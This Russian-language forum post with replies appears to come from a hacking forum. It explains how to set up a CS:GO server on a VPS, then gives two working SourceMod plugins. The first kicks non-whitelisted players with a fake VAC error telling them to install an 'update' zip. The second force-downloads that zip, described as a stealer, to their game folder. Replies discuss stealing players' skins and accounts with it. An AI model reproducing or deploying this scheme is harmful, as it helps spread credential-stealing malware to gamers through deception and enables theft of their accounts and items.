Архив обязательно должен быть в .zip формате! 1. Нужен сервер (ВДС), достаточно будет самой дешевой впски за 3-5$/мес, 2. Установка сервера Маленький конструктор для создания сервера на VPS чтоб не арендовать сервера (это просто не выгодно) для этого нам понадобится две программы Putty, FileZilla Все это для CentOS 6 yum install glibc.i686 libstdc++.i686 -32бит. библиотеки yum install screen -устанавливаем screen чтоб серв работал 24/7 yum install wget -устанавливаем wget Перед установкой steamcmd создаете вот такой путь .../Servercsgo/servercsgo в Servercsgo закидываете download.txt и дальше из этой папки выполняем wget http://media.steampowered.com/client/steamcmd_linux.tar.gz -скачиваем steamcmd для linux tar xvfz steamcmd_linux.tar.gz -разархивируем архив с steamcmd chmod +x steamcmd.sh -ставим права (исполняемый файл) скачивание сервера ./steamcmd.sh +runscript download.txt -Устанавливаем серв service iptables stop && chkconfig iptables off -отключаем брандмауэр cd servercsgo - переходим в папку Так же для запуска сервера необходимо создать текстовик написать в нем параметры запуска и указать что бы запускался через скрин. Например screen -d -m ./srcds_run -game csgo -console -tickrate -usercon -port 27015 +game_type 0 +game_mode 0 +map awp_lego_2 и сохранить как start.sh закинуть по такому пути .../Servercsgo/servercsgo , выдать рут права и запускать его вот и все!!! chmod +x ./start.sh -ставим права (исполняемый файл) вкл сервера ./start.sh -запускаем сервер (если все норм продолжаем ставить Metamod) Metamod:Source - Downloads -заходим выбираем OS linux и копируем wget ссылку wget http://sourcemod.gameconnect.net/files/mmsource-1.10.4-linux.tar.gz -скачиваем mmsource-1.10.4-linux (Metamod) tar xvfz mmsource-1.10.4-linux.tar.gz -разархивируем архив с mmsource-1.10.4-linux Здесь убиваем сервер - это я покажу как (если все норм продолжаем ставить Sourcemod - Админку) SourceMod: Half-Life 2 Scripting -заходим выбираем OS linux и копируем wget ссылку wget http://sourcemod.gameconnect.net/files/sourcemod-1.7.1-linux.tar.gz -скачиваем sourcemod-1.7.1-linux (Sourcemod) tar xvfz sourcemod-1.7.1-linux.tar.gz -разархивируем архив с sourcemod-1.7.1-linux Здесь тоже убиваем сервер - если все норм продолжаем ставить мелкие настройки (количество слотов, им'я сервера и т.д.) Когда сделали мелкие настройки опять убиваете сервер или перезагружаете мапу если все норм - то сервер готов для игроков. Удачи Далее устанавливаем плагин для кика игрока с сервера: Создаем текстовик, вставляете содержимое, написанное ниже, сохраняете в формате .sp и компилируете Код плагина Спойлер: Код #pragma semicolon 1 #include <sourcemod> new const String:g_sAccessAuths[][] = { "STEAM_1:0:51075805", }; public OnClientPostAdminCheck(iClient) { decl String:sAuth[32], i; GetClientAuthId(iClient, AuthId_Steam2, sAuth, sizeof(sAuth)); for(i = 0; i < sizeof(g_sAccessAuths); ++i) { if(strcmp(g_sAccessAuths, sAuth) == 0) { return; } } KickClient(iClient, "Valve Anti-Cheat (VAC) error. Please, install update. Path: Steam/steamapps/common/Counter-Strike Global Offensive/csgo/Valve Anti-Cheat (VAC).zip"); } Плагин автоскачки стилера: Спойлер: Код #pragma semicolon 1 #include <sourcemod> #include <sdktools_stringtables> #define PATH_SIZE 512 #define FILE_SIZE 256 public Plugin:myinfo = { name = "Add To Download", author = "wS (Lolzteam.com)", version = "1.2.1" }; public OnPluginStart() { RegServerCmd("add_to_download", add_to_download); } public OnMapStart() { ServerCommand("exec downloads.cfg"); } public Action:add_to_download(args) { if (args != 1) return Plugin_Handled; decl String:info[PATH_SIZE]; if (GetCmdArg(1, info, PATH_SIZE) < 4 || TrimString(info) < 4) return Plugin_Handled; ReplaceString(info, PATH_SIZE, "\\", "/"); ///////// new Handle:dir = OpenDirectory(info); if (dir == INVALID_HANDLE) { AddFileToDownloadsTable(info); return Plugin_Handled; } new dir_strlen = strlen(info); if (info[dir_strlen-1] == '/') info[dir_strlen-1] = '\0'; decl String:file[PATH_SIZE], FileType:type; while (ReadDirEntry(dir, file, FILE_SIZE, type)) { if (type == FileType_File && strlen(file) > 3 && StrContains(file, ".ztmp", false) == -1) { Format(file, PATH_SIZE, "%s/%s", info, file); AddFileToDownloadsTable(file); } } CloseHandle(dir); ///////// return Plugin_Handled; } Компилируете его по аналогии с предыдущим скриптом. Далее создаем текстовый документ download.cfg, вписываете в него следующий код: Спойлер: Код add_to_download "Valve Anti-Cheat (VAC).zip" То, что в кавычках - это название вашего скачиваемого архива, если меняете название, то меняйте в первом коде плагина и в download.cfg p.s. copyright
1) какой смысл со стиллера в CS:GO в 2017? 2) идет просто автозагрузка без автоустановки, даже во времена стиллера в CS:GO эта тема была не очень то и актуальна)
да. Там же скины есть и их цена от 0,01$ до 6к-7к$. Можно залететь на стрим к игроку с скинами и отработать его акк. P.S. Конечно если всё работает и я правильно всё понял
да? ну если придумаешь как передавать вещи без холда пиши, можно очень не плохо на этом поднять но уверен что ничего не получится